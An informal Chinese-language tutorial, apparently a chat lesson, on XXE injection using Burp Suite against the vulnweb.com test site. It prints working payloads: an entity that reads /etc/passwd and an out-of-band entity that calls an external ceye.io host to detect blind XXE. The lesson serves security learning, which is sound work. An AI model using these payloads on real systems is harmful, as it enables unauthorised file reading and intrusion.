xxe漏洞呀
xxe漏洞就是能直接在請求裏可以引用一個實體,然後造成讀文件,只需要懂這個基本攻擊原理就行
先了解什麽是xxe
xml外部實體註入簡稱xxe,註入的什麽呢 一段xml代碼
就是一個請求裏 可以攜帶一個xml引用,然後可以讀文件
https://security.tencent.com/index.php/blog/msg/69 騰訊也有一篇關於xxe的講義
來操作一哈
打開burpsuite設置監聽,瀏覽器也設置代理,端口8080
打開http://testhtml5.vulnweb.com/這個網址,登陸,賬號密碼都輸admin,點忘記密碼
如果打不開這個網,可能是開了攔截,要關掉
然後再去proxy裏找請求
然後發送到 send to repeater
點一下go
然後你改下下面的請求
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY myentity "xiaoyu"> ]> <forgot><username>&myentity;</username></forgot>
讀出xiaoyu了 證明存在xxe
不過不能這麽讀,讀不了etc/passwd
改了攻擊的荷載它無法識別
昨天我們不是說了 xxe的基本的幾個攻擊荷載嗎,這個用不了,在這個漏洞裏
看這個例子https://www.secpulse.com/archives/41154.html
這個攻擊荷載是這個
<!DOCTYPE z [<!ENTITY test SYSTEM "file:///etc/passwd" >]>
這個是別人文章裏的例子
http://www.freebuf.com/articles/web/126788.html
這個是owasp top web安全組織 對於xxe的全英文講解
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
怎麽找xxe漏洞呢?就得看這個ppt了
第一種 簡單概括為 wsdl後綴得
http://wooyun.jozxing.cc/search?keywords=xxe&content_search_by=by_bugs
這裏有更多得實例去做參考
這個漏洞我自己挖到的很少,因為有些沒回顯,還需要借助ceye.io
它在這個荷載裏加入這個 可以判斷是否存在xxe,我們可以拿剛才的testhtml5.vulweb.com做下實驗
有一條請求
這裏它和awvs判斷的依據是一樣的,讀取了這個服務器的ip
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://ip.port.ly4ei1.ceye.io/xxe_test"> %remote;]> <root/>
這裏改成你的地址
用burpsuite請求一下,然後去看日誌
這是我的地址啦
xxe漏洞呀